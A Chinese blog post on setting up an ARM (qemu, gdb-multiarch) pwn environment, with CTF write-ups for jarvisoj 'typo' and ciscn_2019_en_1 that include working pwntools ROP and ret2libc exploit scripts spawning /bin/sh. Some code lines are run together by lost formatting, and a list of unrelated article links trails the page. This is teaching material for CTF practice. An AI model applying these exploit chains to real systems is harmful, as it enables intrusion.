当前位置: 首页 > news >正文

arm-Pwn环境搭建+简单题目

前言

起因是看到一篇IOT CVE的分析文章。

正好也在学pwn,arm架构的也是IOT这些固件最常用的,所以先安一个arm-pwn的环境。

环境搭建/调试

1. 安装 gdb-multiarch

sudo apt-get install gdb-multiarch

2. 安装qemu

ctf的arm_pwn只需要安装qemu-user就行了。

binfmt*是用来识别文件类型

sudo apt-get install qemu-user
sudo apt-get install qemu-user-binfmt
sudo apt-get install "binfmt*"

只用这两步就可以直接运行静态链接的arm程序。
jarvisoj typo为例
在这里插入图片描述

3. 动态链接的arm程序配置

查找:

apt search  "libc6-" | grep 'arm'

在这里插入图片描述
可以根据需要安装不同架构的库
对于arm32就是这个

sudo apt-get install libc6-armel-cross

4. 运行方式

-L 指定运行库,-g 指定端口

qemu-arm -L /usr/arm-linux-gnueabi ./cisn_en_1

在这里插入图片描述

5. 动态调试

安装过程问题不大,记录下调试。
这里没用pwntools,先用gdb端口来看:

gdb-multiarch
set architecture arm
target remote localhost:23333

image

然后另一个终端运行待调试程序
以静态链接的typo为例:
不需要-L指定动态链接库,-g指定端口。

qemu-arm -g 23333 ./typo

image

image

pwntools调试

如果用py脚本调试,就加上这句:

p = process(['qemu-arm', '-L', '/usr/arm-linux-gnueabi','-g','23333', 'ciscn_en_1'])

然后一样的gdb-multiarch设置好

target remote localhost:23333

再运行python即可调试。

两道题目

拿两道arm32的题来熟悉一下。

javisoj-typo

题目链接
对于arm指令集,以前我一直认为下载的IDA是无法F5的。。。
结果
image

也就是只要ROM、RAM这些位置加载对了(ctf的pwn题的话一般不用自己找基址。。),IDA就能F5。。。
(当然要全插件版的IDA)

回到题目。
第一个arm_pwn

程序静态链接,无PIE,无canary。
在这里插入图片描述

直接rop system(“/bin/sh”)

注意下要先恢复符号,不然不一定找得到system。
image

image

主要就是对于arm指令集要稍微熟悉一点,知道r0和amd64的rdi是用于第一个参数传参就行。
然后arm指令集是由pop pc这种来控制指令流的。
填充完缓冲区后不需要覆盖"old_ebp"。

Exp:
image

binsh = 0x0006C384
system = 0x110B4
# 0x00020904 : pop {r0, r4, pc}
r0_r4_pc = 0x00020904pl = b'a'*112 + p32(r0_r4_pc) + p32(binsh) + p32(0) + p32(system)sa("quit\n",b"\n")
sleep(0.3)
sl(pl)p.interactive()

ciscn_2019_en_1

题目链接

在这里插入图片描述
动态链接,无PIE。

IDA看程序,在这里插入图片描述
很明显的一个栈溢出。我们尝试ret2libc。
首先要寻找gadget。
而这里是找不到pop r0的,这也是本题的难点所在。

但我们可以通过这个地方的gadget来间接控制r0:
在这里插入图片描述

跟ret2csu很类似,我们首先传入POP {R4-R10,PC}的gadget,
这样我们就能控制R7,R3寄存器的值。
然后PC寄存器填上MOV R0.R7,也就是上面那个gadget的地址。
这样我们就能通过R7控制R0,通过R3控制BLX执行的函数了。

只是还有个问题,那个POP {R4-R10}其实没有R3。。
但我们可以找一个R3的gadget,比如

0x000103a4 : pop {r3, pc}

来赋值R3,并且控制指令流。

具体到ret2libc流程来说,

R7 = puts_got
PC = pop_r3_pc
R3 = puts_plt
PC = mov_r0_r7

就可以打印出puts的地址了。

泄露libc后就正常再打一遍system("/bin/sh")即可。
只是这里注意,我们不能像正常的ret2csu那样控制puts(puts_got)后返回的地址。。
所以打印完后程序会直接退出。

当然本地两次开process它们的基址是不变的,所以我们再process一个来getshell即可。

本地

Exp:

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
vuln = 0x10590
pop_r3_pc = 0x000103a4
pop_r4_pc = 0x000104f8
pop_45678bl_pc = 0x00010638  # 
mov_r0r7_blxr3 = 0x00010628  # r7 -> r0# puts_plt(puts_got)
pl = b'a'*0x24 + p32(pop_45678bl_pc)
pl += p32(0)*3 + p32(puts_got) # r7
pl += p32(0)*3 + p32(pop_r3_pc) # pc
pl += p32(puts_plt) # r3
pl += p32(mov_r0r7_blxr3) # pcru("name:\n\n")
#pause()
sl(pl)ru('\n')
leak = u32(p.recv(4))
info_addr("puts_addr",leak)
libcbase = leak - libc.sym['puts']
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search("/bin/sh\x00"))# getshell
p = process(['qemu-arm','-L', '/usr/arm-linux-gnueabi', 'ciscn_en_1'])
pl = b'a'*0x24 + p32(pop_45678bl_pc)
pl += p32(0)*3 + p32(binsh) # r7
pl += p32(0)*3 + p32(pop_r3_pc) # pc
pl += p32(system) # r3
pl += p32(mov_r0r7_blxr3) # pc
ru("name:\n\n")
pause()
sl(pl)p.interactive()

在这里插入图片描述

远程

打远程的话就不能这么开两次process
所以对于那个类csu gadget利用顺序就要改一改了。
核心就是改顺序使得能控制puts(puts_got)后的返回地址。

顺序改为:

padding
POP {R3,PC}
puts_plt # R3
POP {R4-R10,PC} # PC
p32(0)*3
puts_got # R7
p32(0)*3
MOV R0, R7 # PC

到这里的话就是第一遍gadget,类似csu的gadget1->gadget2
然后再次"滑"到gadget1的POP {R4-R10,PC}
我们就可以控制PC了。

p32(0)*7
vuln_addr # PC

然后就是buu远程给的libc奇奇怪怪的。。。 好多偏移都不大对。。
自己调整一下,
两个地方:

puts_got = 0x21010
libcbase = leak - 0x00047b30

远程的Exp:

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
vuln = 0x10590
pop_r3_pc = 0x000103a4
pop_r4_pc = 0x000104f8
pop_45678bl_pc = 0x00010638  # 
mov_r0r7_blxr3 = 0x00010628  # r7 -> r0info_addr("plt",puts_plt)
info_addr("got",puts_got)
# puts_plt(puts_got)
pl = b'a'*0x24 + p32(pop_r3_pc)
pl += p32(puts_plt) + p32(pop_45678bl_pc)
pl += p32(0)*3 + p32(0x21010)
pl += p32(0)*3 + p32(mov_r0r7_blxr3)
pl += p32(0)*7
pl += p32(vuln) # pcru("name:\n\n")
#pause()
sl(pl)ru('\n')
leak = u32(p.recv(4))
info_addr("puts_addr",leak)
libcbase = leak - 0x00047b30
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search("/bin/sh\x00"))# getshell
pl = b'a'*0x24 + p32(pop_45678bl_pc)
pl += p32(0)*3 + p32(binsh) # r7
pl += p32(0)*3 + p32(pop_r3_pc) # pc
pl += p32(system) # r3
pl += p32(mov_r0r7_blxr3) # pc
ru("name:\n\n")
pause()
sl(pl)p.interactive()

在这里插入图片描述

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • hostnamectrl到底是什么命令?
  • 还在烦恼Cosplay论坛开发?探索PHP+Vue的完美解决方案!
  • JVM类加载机制—类加载器和双亲委派机制详解
  • Mybatis框架常见问题总结
  • 计算机毕业设计Spark+Tensorflow股票推荐系统 股票预测系统 股票可视化 股票数据分析 量化交易系统 股票爬虫 股票K线图 大数据毕业设计 AI
  • 基于YOLOv8的无人机高空红外(HIT-UAV)检测算法,新的混合型扩张型残差注意力(HDRAB)助力涨点(二)
  • 小琳AI课堂:AIGC
  • 香蕉梨:自然的甜蜜宝藏
  • C\C++ Sqlite3使用详解
  • 云计算实训34——docker环境配置、镜像基本操作、容器基本操作、设置远程连接管理
  • wpf DynamicResource的ResourceKey值进行绑定
  • vue2版本空目录下创建新项目的方法2024
  • RocketMQ~刷盘机制、主从复制方式、存储机制
  • Nginx - 反向代理、缓存详解
  • msxml*.dll 错误 ‘80072f7d‘ 安全频道支持出错 解决方案
  • 9月CHINA-PUB-OPENDAY技术沙龙——IPHONE
  • [译] 怎样写一个基础的编译器
  • 2017届校招提前批面试回顾
  • 2018一半小结一波
  • CSS 专业技巧
  • Github访问慢解决办法
  • Idea+maven+scala构建包并在spark on yarn 运行
  • java概述
  • MD5加密原理解析及OC版原理实现
  • 包装类对象
  • 构建工具 - 收藏集 - 掘金
  • 开发了一款写作软件(OSX,Windows),附带Electron开发指南
  • 深度学习中的信息论知识详解
  • 使用 QuickBI 搭建酷炫可视化分析
  • 小程序开发之路(一)
  • 小程序开发中的那些坑
  • 1.Ext JS 建立web开发工程
  • 不要一棍子打翻所有黑盒模型,其实可以让它们发挥作用 ...
  • ​决定德拉瓦州地区版图的关键历史事件
  • !!Dom4j 学习笔记
  • #AngularJS#$sce.trustAsResourceUrl
  • #我与Java虚拟机的故事#连载09:面试大厂逃不过的JVM
  • $(function(){})与(function($){....})(jQuery)的区别
  • (04)Hive的相关概念——order by 、sort by、distribute by 、cluster by
  • (175)FPGA门控时钟技术
  • (android 地图实战开发)3 在地图上显示当前位置和自定义银行位置
  • (Arcgis)Python编程批量将HDF5文件转换为TIFF格式并应用地理转换和投影信息
  • (delphi11最新学习资料) Object Pascal 学习笔记---第14章泛型第2节(泛型类的类构造函数)
  • (Matalb分类预测)GA-BP遗传算法优化BP神经网络的多维分类预测
  • (Qt) 默认QtWidget应用包含什么?
  • (SpringBoot)第七章:SpringBoot日志文件
  • (第61天)多租户架构(CDB/PDB)
  • (附源码)基于SSM多源异构数据关联技术构建智能校园-计算机毕设 64366
  • (蓝桥杯每日一题)love
  • (四)Tiki-taka算法(TTA)求解无人机三维路径规划研究(MATLAB)
  • (算法)硬币问题
  • (循环依赖问题)学习spring的第九天
  • (原)记一次CentOS7 磁盘空间大小异常的解决过程
  • (转) Android中ViewStub组件使用
  • (转)Android学习笔记 --- android任务栈和启动模式